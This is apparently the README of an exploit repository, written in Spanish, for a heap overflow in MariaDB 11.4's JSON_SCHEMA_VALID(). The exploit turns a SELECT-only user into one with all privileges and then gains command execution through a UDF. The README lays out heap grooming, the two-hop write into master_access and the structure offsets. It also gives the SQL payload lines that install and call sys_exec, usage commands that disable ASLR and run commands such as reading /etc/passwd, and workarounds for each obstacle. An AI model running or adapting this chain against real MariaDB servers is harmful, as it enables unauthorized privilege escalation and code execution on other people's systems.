
# Escritura fuera de límites en el heap en MariaDB JSON_SCHEMA_VALID() → escalada de privilegios persistente (asistida por laboratorio)
Desbordamiento de búfer en el heap en JSON_SCHEMA_VALID() de MariaDB → escalada persistente de privilegios → RCE vía UDF
| Afectado | MariaDB 11.4.x (confirmado en 11.4.9) |
| Bug | Escritura fuera de límites en json_get_normalized_string() — strncpy en un DYNAMIC_STRING de 128 bytes sin comprobación de límites |
| Impacto | Usuario con solo SELECT → ALL PRIVILEGES WITH GRANT OPTION → ejecución arbitraria de comandos vía UDF |
| Fuente | sql/json_schema_helper.cc:91 |
Asistido por laboratorio. El script usa Docker/introspección root para leer
/proc/1/memy descubrir el diseño del heap por conexión. La cadena de explotación real es SQL puro sobre TCP. Un exploit armado necesitaría una primitiva de fuga de información para reemplazar el paso de introspección de memoria.
lowpriv solo puede hacer SELECT en la base de datos test. Las tablas del sistema están denegadas.

Un único script de Python realiza el grooming del heap, una escritura arbitraria de dos saltos a través de metadatos de variables de usuario, persiste la escalada vía GRANT ALL, y logra la ejecución de código mediante una UDF:
python3 exploit.py

lowpriv ahora tiene ALL PRIVILEGES WITH GRANT OPTION, puede leer tablas del sistema, leer/escribir archivos arbitrarios y ejecutar comandos del sistema operativo como el usuario mysql. El permiso sobrevive al reinicio del servidor.


┌──────────────────────────────────────────────────────────────────┐
│ SELECT json_schema_valid(overflow), │
│ @ccc...c := hop1, │
│ @aaa...a := hop2 │
└──────────────────────────────────────────────────────────────────┘
│ │ │
▼ ▼ ▼
┌───────────┐ ┌──────────────┐ ┌──────────────┐
│ 192-byte │ │ Write to @c │ │ Write to @a │
│ overflow │ │ through the │ │ through the │
│ corrupts │ │ corrupted │ │ redirected │
│ entry_c's │ │ pointer: │ │ pointer: │
│ value ptr │ │ │ │ │
│ (2-byte │ │ entry_a → │ │ master_access│
│ partial │ │ .value = │ │ = 0xFFFF.. │
│ overwrite)│ │ &master_ │ │ (ALL PRIVS) │
│ │ │ access │ │ │
└───────────┘ │ .length= 9 │ └──────────────┘
└──────────────┘
Grooming del heap — Más de 100 variables de usuario agotan la tcache, forzando
que Entry_a → Value_a → Entry_b → Value_b → Entry_c → Value_c se asignen
consecutivamente.
Desbordamiento — JSON_SCHEMA_VALID dispara un strncpy de 192 bytes más allá
del búfer de 128 bytes, corrompiendo entry_c→value (sobrescritura parcial de puntero
de 2 bytes dentro de la misma página de 64 KB) para que apunte a entry_a + 32.
Salto 1 — Asignar a @c escribe 126 bytes a través del puntero corrupto
en los metadatos de entry_a, estableciendo:
entry_a→value = &Security_context::master_accessentry_a→length = 9Salto 2 — Asignar a @a escribe 8 bytes de 0xFF a través del puntero
redirigido → .
Después de la persistencia, el servidor se reinicia (recuperación tras caída), y los privilegios escalados se usan para instalar una biblioteca compartida UDF:
LOAD_FILE('/tmp/raptor_udf.so') INTO DUMPFILE '/usr/lib/mysql/plugin/raptor.so'CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'raptor.so'SELECT sys_exec('id > /tmp/pwned')# 1. Compilar e iniciar el contenedor
./setup.sh
# 2. Deshabilitar ASLR en el host Docker
sudo sh -c 'echo 0 > /proc/sys/kernel/randomize_va_space'
# 3. Ejecutar el exploit (se autocalibra por intento)
python3 exploit.py
# 4. Comando personalizado
python3 exploit.py --cmd 'cat /etc/passwd > /tmp/out'
/proc/sys/kernel/randomize_va_space = 0)--cap-add SYS_PTRACE (para acceso a /proc/1/mem)--calibrate Medir las constantes del diseño del heap y salir
--cmd CMD Comando para la ejecución UDF de la Etapa 2 (por defecto: id > /tmp/pwned)
--stage1-only Ejecutar solo la escalada de privilegios, omitir RCE vía UDF
--attempts N Máximo de intentos de la Etapa 1 (por defecto: 5)
--host HOST Host de MariaDB (por defecto: 127.0.0.1)
--port PORT Puerto de MariaDB (por defecto: 3306)
El script del exploit entra al contenedor como root para leer /proc/1/mem.
Esto se usa para dos cosas:
user_var_entry y verificar que son adyacentes (entry_a+32 dentro de la misma página
de 64 KB que entry_c→value para la sobrescritura parcial de 2 bytes).Security_context — encontrar el campo master_access para
apuntarlo con la escritura de dos saltos.El escaneo se ejecuta inline para cada intento porque el diseño del heap varía entre conexiones (incluso con ASLR=0) debido a que el pool de hilos de MariaDB asigna diferentes arenas. La cadena de explotación real — desbordamiento + salto 1 + salto 2 — es SQL puro ejecutado sobre una conexión TCP.
En un escenario del mundo real, un atacante necesitaría una vulnerabilidad separada de fuga de información (o un canal lateral) para obtener estas direcciones.
entry_a→valuemaster_access = ALL PRIVILEGESPersistencia — La sesión ahora tiene todos los privilegios. GRANT ALL confirma
la escalada en la tabla mysql.global_priv respaldada por Aria. La sesión
finalmente falla durante la limpieza (corrupción residual del heap), pero el
GRANT ya está checkpointeado y sobrevive al reinicio.
| Restricción | Solución |
|---|
STRING_RESULT hace length++ antes de la comprobación de realloc | El payload es de N−1 bytes para que N−1+1 = N coincida con la longitud almacenada → sin realloc en el puntero corrupto |
El salto 2 de 126 bytes corrompe campos de THD más allá de Security_context | Establecer entry_a→length = 9 en el salto 1 para que el salto 2 escriba solo 8 bytes (master_access) + 1 NUL |
Offset de master_access en Security_context | 1712 bytes desde la base de la estructura (priv_user[384] + proxy_user[645] + priv_host[256] + priv_role[384] + padding + punteros) |
| La recuperación tras caída de Aria revierte escrituras no confirmadas | GRANT ALL + SLEEP de 10 s permite el checkpoint de Aria antes del fallo de limpieza de la sesión |
| El diseño del heap varía entre conexiones (incluso con ASLR=0) | El escaneo inline de /proc/1/mem por intento descubre entry_a y master_access para cada conexión |
| plugin_dir es propiedad de root | El Dockerfile preconfigura chmod 777 (conveniencia del laboratorio) |
| Archivo | Descripción |
|---|
exploit.py | Exploit de dos etapas: escalada de privilegios (SQL sobre TCP) + RCE vía UDF |
raptor_udf.c | Código fuente de la UDF — sys_exec() llama a system() |
Dockerfile | Imagen del contenedor del laboratorio (compila la UDF, abre plugin_dir) |
init.sql | Crea el usuario lowpriv |
setup.sh | Compila e inicia el laboratorio |
screenshots/ | Capturas de pantalla del terminal |